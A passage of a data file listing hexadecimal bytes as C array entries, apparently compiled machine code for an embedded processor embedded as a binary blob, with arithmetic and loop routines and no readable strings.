0x16, 0x47, 0x90, 0x03,
0xbc, 0x52, 0x02, 0xa4,
0x22, 0x40, 0x00, 0xff,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x08, 0x40,
0x30, 0xc0, 0x00, 0x08,
0x10, 0xc0, 0x00, 0x00,
0x10, 0x66, 0x00, 0x00,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x85, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x64, 0x03, 0x8c,
0x10, 0x66, 0x18, 0x00,
0x37, 0x83, 0x00, 0x20,
0xbe, 0x3c, 0x02, 0xdc,
0x34, 0x9c, 0x00, 0x20,
0x16, 0x57, 0x28, 0x03,
0xbe, 0x52, 0x02, 0xc8,
0x10, 0x80, 0x00, 0x00,
0x16, 0x53, 0xe8, 0x03,
0xbe, 0xb2, 0x00, 0x10,
0x30, 0x60, 0x00, 0x01,
0x10, 0x60, 0x00, 0x00,
0x10, 0x83, 0x00, 0x00,
0x13, 0x63, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0x10, 0x64, 0x00, 0x00,
0xea, 0x61, 0x00, 0x20,
0x10, 0x9b, 0x00, 0x00,
0xea, 0xc1, 0x00, 0x24,
0xea, 0xe1, 0x00, 0x28,
0xeb, 0x01, 0x00, 0x2c,
0xeb, 0x21, 0x00, 0x30,
0xeb, 0x41, 0x00, 0x34,
0xeb, 0x61, 0x00, 0x38,
0xeb, 0x81, 0x00, 0x3c,
0xeb, 0xa1, 0x00, 0x40,
0xeb, 0xc1, 0x00, 0x44,
0xeb, 0xe1, 0x00, 0x48,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x4c,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
0x16, 0x48, 0x90, 0x03,
0xbc, 0x52, 0x02, 0x20,
0x22, 0x40, 0x00, 0xff,
0x16, 0x48, 0x90, 0x03,
0xbc, 0x52, 0x07, 0x8c,
0x10, 0x67, 0x00, 0x00,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x93, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x64, 0x03, 0x8c,
0x10, 0x67, 0x18, 0x00,
0x34, 0xe3, 0x00, 0x20,
0xbe, 0x07, 0x00, 0x6c,
0x34, 0x67, 0x00, 0x20,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x7d, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x63, 0x00, 0x41,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x97, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x84, 0x20, 0x00,
0x82, 0xe4, 0x18, 0x00,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x13, 0xbd, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x13, 0xbd, 0xe8, 0x00,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0x73, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x12, 0x73, 0x98, 0x00,
0x93, 0x13, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x10, 0xb7, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa7, 0x93, 0xff, 0xff,
0xb9, 0xf4, 0x29, 0xf4,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb7, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0x13, 0x23, 0x00, 0x00,
0xb9, 0xf4, 0x28, 0x88,
0x42, 0xdc, 0x18, 0x00,
0x90, 0x9d, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0x10, 0x63, 0x98, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbe, 0x52, 0x00, 0x10,
0x33, 0x39, 0xff, 0xff,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x06, 0x84,
0x16, 0xd6, 0x18, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x29, 0x64,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0x12, 0xe3, 0x00, 0x00,
0xb9, 0xf4, 0x27, 0xf8,
0x42, 0xdc, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x9d, 0xff, 0xff,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0x10, 0x73, 0x18, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbe, 0x52, 0x00, 0x10,
0x32, 0xf7, 0xff, 0xff,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x06, 0x24,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x79, 0x00, 0x00,
0x80, 0x77, 0x18, 0x00,
0xb8, 0x10, 0xfd, 0xd0,
0x10, 0x80, 0x00, 0x00,
0xb0, 0x00, 0x00, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x47, 0x90, 0x03,
0xbc, 0x52, 0x05, 0x90,
0x30, 0xc0, 0x00, 0x10,
0xb8, 0x10, 0xfd, 0x64,
0x10, 0x66, 0x00, 0x00,
0xb0, 0x00, 0x00, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbc, 0x52, 0x05, 0x9c,
0x30, 0xa0, 0x00, 0x10,
0xb8, 0x10, 0xfb, 0x9c,
0x10, 0x65, 0x00, 0x00,
0xb0, 0x00, 0x00, 0xff,
0x22, 0x40, 0xff, 0xff,
0x16, 0x48, 0x90, 0x03,
0xbc, 0x52, 0x05, 0x8c,
0x30, 0xe0, 0x00, 0x10,
0xb8, 0x10, 0xfd, 0xe0,
0x10, 0x67, 0x00, 0x00,
0xb9, 0xf4, 0x28, 0xac,
0x30, 0xa0, 0x00, 0x01,
0x12, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbc, 0x52, 0xff, 0xb0,
0xb8, 0x00, 0xfb, 0x44,
0xb8, 0x10, 0xfd, 0x54,
0x30, 0x60, 0x00, 0x01,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x73, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x63, 0x00, 0x41,
0xa6, 0x5c, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0xa5, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0xa5, 0x28, 0x00,
0x83, 0x05, 0x18, 0x00,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0xd7, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x92, 0xd6, 0x00, 0x41,
0x93, 0x38, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x93, 0x39, 0x00, 0x41,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd9, 0x00, 0x00,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x9d, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xa6, 0x5c, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x77, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0xb9, 0xf4, 0x27, 0xc0,
0x83, 0xe3, 0x20, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd9, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa7, 0xd8, 0xff, 0xff,
0x12, 0xe3, 0x00, 0x00,
0xb9, 0xf4, 0x26, 0x4c,
0x42, 0xde, 0x18, 0x00,
0x90, 0x9f, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0xa6, 0x5c, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0x73, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x12, 0x73, 0x98, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x14,
0x10, 0x63, 0xc0, 0x00,
0x16, 0x58, 0x18, 0x03,
0xbe, 0xb2, 0x04, 0x14,
0x32, 0xf7, 0xff, 0xff,
0x16, 0xd6, 0x18, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x27, 0x14,
0x10, 0xd9, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd9, 0x00, 0x00,
0x12, 0x63, 0x00, 0x00,
0xb9, 0xf4, 0x25, 0xa8,
0x42, 0xde, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x9f, 0xff, 0xff,
0x81, 0x43, 0x20, 0x00,
0x16, 0x56, 0x50, 0x03,
0xbc, 0xb2, 0x00, 0x14,
0x11, 0x4a, 0xc0, 0x00,
0x16, 0x58, 0x50, 0x03,
0xbe, 0xb2, 0x03, 0xb0,
0x32, 0x73, 0xff, 0xff,
0xe8, 0x81, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x77, 0x00, 0x00,
0x81, 0x33, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xc9, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x64, 0xff, 0xff,
0x90, 0xe4, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xa9, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x40, 0x86, 0x38, 0x00,
0x15, 0x56, 0x50, 0x00,
0x41, 0x05, 0x18, 0x00,
0x40, 0xc6, 0x18, 0x00,
0x10, 0x84, 0x40, 0x00,
0x90, 0x66, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0x83, 0x20, 0x00,
0x16, 0x48, 0x20, 0x03,
0xbe, 0xb2, 0x00, 0x10,
0x40, 0xa5, 0x38, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa5, 0x00, 0x00,
0x90, 0x64, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0x65, 0x18, 0x00,
0x16, 0x43, 0x50, 0x03,
0xbc, 0x52, 0x02, 0x08,
0x16, 0x43, 0x50, 0x00,
0xbc, 0x12, 0x01, 0xcc,
0x10, 0x69, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0x30,
0x10, 0x80, 0x00, 0x00,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0xd7, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x92, 0xd6, 0x00, 0x41,
0xa6, 0x59, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0x73, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x12, 0x73, 0x98, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x93, 0x13, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x10, 0xd8, 0x00, 0x00,
0xa6, 0x44, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x9d, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xa6, 0x59, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x77, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0xb9, 0xf4, 0x24, 0xb8,
0x83, 0xe3, 0x20, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa7, 0x93, 0xff, 0xff,
0x13, 0xc3, 0x00, 0x00,
0xb9, 0xf4, 0x23, 0x44,
0x42, 0xdc, 0x18, 0x00,
0x90, 0x9f, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x14,
0x10, 0x63, 0x98, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbe, 0xb2, 0x01, 0x64,
0x33, 0xde, 0xff, 0xff,
0x16, 0xd6, 0x18, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x24, 0x28,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0x12, 0xe3, 0x00, 0x00,
0xb9, 0xf4, 0x22, 0xbc,
0x42, 0xdc, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x9f, 0xff, 0xff,
0x80, 0x83, 0x20, 0x00,
0x16, 0x56, 0x20, 0x03,
0xbc, 0xb2, 0x00, 0x24,
0x10, 0x84, 0x98, 0x00,
0x16, 0x53, 0x20, 0x03,
0xbe, 0x52, 0x00, 0x18,
0x32, 0xf7, 0xff, 0xff,
0x16, 0x56, 0x20, 0x03,
0xbc, 0xb2, 0x00, 0x0c,
0x32, 0xf7, 0xff, 0xff,
0x10, 0x84, 0x98, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x7e, 0x00, 0x00,
0x16, 0xd6, 0x20, 0x00,
0xa6, 0x59, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x13, 0xbd, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x13, 0xbd, 0xe8, 0x00,
0xb8, 0x10, 0xf6, 0xf8,
0x83, 0xd7, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x64, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x86, 0xff, 0xff,
0x10, 0x63, 0x20, 0x00,
0xa6, 0x5c, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0xbd, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0xa5, 0x28, 0x00,
0x16, 0x43, 0x28, 0x03,
0xbc, 0xb2, 0xfe, 0x08,
0x30, 0x69, 0xff, 0xff,
0xb8, 0x10, 0xf8, 0x34,
0x10, 0x80, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x18,
0xb8, 0x10, 0xf7, 0xd8,
0x10, 0x66, 0x00, 0x00,
0xb8, 0x10, 0xf7, 0xd0,
0x10, 0x66, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x08,
0xb8, 0x10, 0xf8, 0x78,
0x10, 0x67, 0x00, 0x00,
0xb8, 0x10, 0xf6, 0x10,
0x10, 0x65, 0x00, 0x00,
0x30, 0xa0, 0x00, 0x18,
0xb8, 0x10, 0xf6, 0x04,
0x10, 0x65, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x18,
0xb8, 0x10, 0xf8, 0x58,
0x10, 0x67, 0x00, 0x00,
0x16, 0x56, 0x50, 0x03,
0xbc, 0xb2, 0xfc, 0x54,
0x11, 0x4a, 0xc0, 0x00,
0xb8, 0x10, 0xfc, 0x4c,
0x32, 0x73, 0xff, 0xff,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0xfb, 0xf0,
0x32, 0xf7, 0xff, 0xff,
0xb8, 0x10, 0xfb, 0xe8,
0x10, 0x63, 0xc0, 0x00,
0xb8, 0x10, 0xf7, 0x2c,
0x32, 0xf7, 0xff, 0xff,
0xb8, 0x10, 0xf9, 0xe0,
0x32, 0xf7, 0xff, 0xff,
0x33, 0x39, 0xff, 0xff,
0xb8, 0x10, 0xf9, 0x7c,
0x10, 0x63, 0x98, 0x00,
0x33, 0x39, 0xff, 0xff,
0xb8, 0x10, 0xf6, 0xb4,
0x10, 0x63, 0x98, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0xfe, 0xa0,
0x33, 0xde, 0xff, 0xff,
0xb8, 0x10, 0xfe, 0x98,
0x10, 0x63, 0x98, 0x00,
0x10, 0x85, 0x00, 0x00,
0x11, 0x28, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0x30, 0x21, 0xff, 0xb0,
0xfa, 0x61, 0x00, 0x24,
0xfa, 0xe1, 0x00, 0x2c,
0xfb, 0x21, 0x00, 0x34,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x28,
0xfb, 0x01, 0x00, 0x30,
0xfb, 0x41, 0x00, 0x38,
0xfb, 0x61, 0x00, 0x3c,
0xfb, 0x81, 0x00, 0x40,
0xfb, 0xa1, 0x00, 0x44,
0xfb, 0xc1, 0x00, 0x48,
0xfb, 0xe1, 0x00, 0x4c,
0x10, 0xc9, 0x00, 0x00,
0x12, 0x69, 0x00, 0x00,
0x13, 0x25, 0x00, 0x00,
0xbe, 0x27, 0x01, 0x60,
0x12, 0xe4, 0x00, 0x00,
0x16, 0x49, 0x20, 0x03,
0xbc, 0x52, 0x02, 0x20,
0xbc, 0x09, 0x04, 0x38,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbc, 0x52, 0x04, 0x0c,
0x22, 0x40, 0x00, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbe, 0x52, 0x0a, 0x38,
0x30, 0xa0, 0x00, 0x08,
0x10, 0xa0, 0x00, 0x00,
0x10, 0x65, 0x00, 0x00,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x93, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x64, 0x03, 0x8c,
0x10, 0x65, 0x18, 0x00,
0x37, 0xa3, 0x00, 0x20,
0xbe, 0x3d, 0x08, 0x1c,
0x34, 0x9d, 0x00, 0x20,
0x13, 0x9d, 0x00, 0x00,
0x16, 0xd3, 0xb8, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa6, 0xf3, 0xff, 0xff,
0x93, 0x13, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x21, 0xb4,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xb9, 0xf4, 0x20, 0x4c,
0x42, 0xd7, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0x90, 0x99, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x18,
0x10, 0x63, 0x98, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbc, 0x52, 0x00, 0x0c,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x09, 0x68,
0x16, 0xd6, 0x18, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x21, 0x2c,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xb8, 0x10, 0x02, 0x74,
0x42, 0xd7, 0x18, 0x00,
0x16, 0x47, 0x20, 0x03,
0xbe, 0xb2, 0x00, 0x4c,
0x13, 0x65, 0x00, 0x00,
0x13, 0x44, 0x00, 0x00,
0x10, 0x7a, 0x00, 0x00,
0x10, 0x9b, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x24,
0xea, 0xc1, 0x00, 0x28,
0xea, 0xe1, 0x00, 0x2c,
0xeb, 0x01, 0x00, 0x30,
0xeb, 0x21, 0x00, 0x34,
0xeb, 0x41, 0x00, 0x38,
0xeb, 0x61, 0x00, 0x3c,
0xeb, 0x81, 0x00, 0x40,
0xeb, 0xa1, 0x00, 0x44,
0xeb, 0xc1, 0x00, 0x48,
0xeb, 0xe1, 0x00, 0x4c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x50,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
0x16, 0x47, 0x90, 0x03,
0xbc, 0x52, 0x02, 0xc8,
0x22, 0x40, 0x00, 0xff,
0x16, 0x47, 0x90, 0x03,
0xbe, 0x52, 0x08, 0xa4,
0x30, 0xa0, 0x00, 0x08,
0x10, 0xa0, 0x00, 0x00,
0x10, 0x65, 0x00, 0x00,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x87, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x64, 0x03, 0x8c,
0x10, 0x65, 0x18, 0x00,
0x37, 0x03, 0x00, 0x20,
0xbe, 0x38, 0x02, 0xbc,
0x34, 0x78, 0x00, 0x20,
0x16, 0x57, 0x38, 0x03,
0xbe, 0x52, 0x02, 0x94,
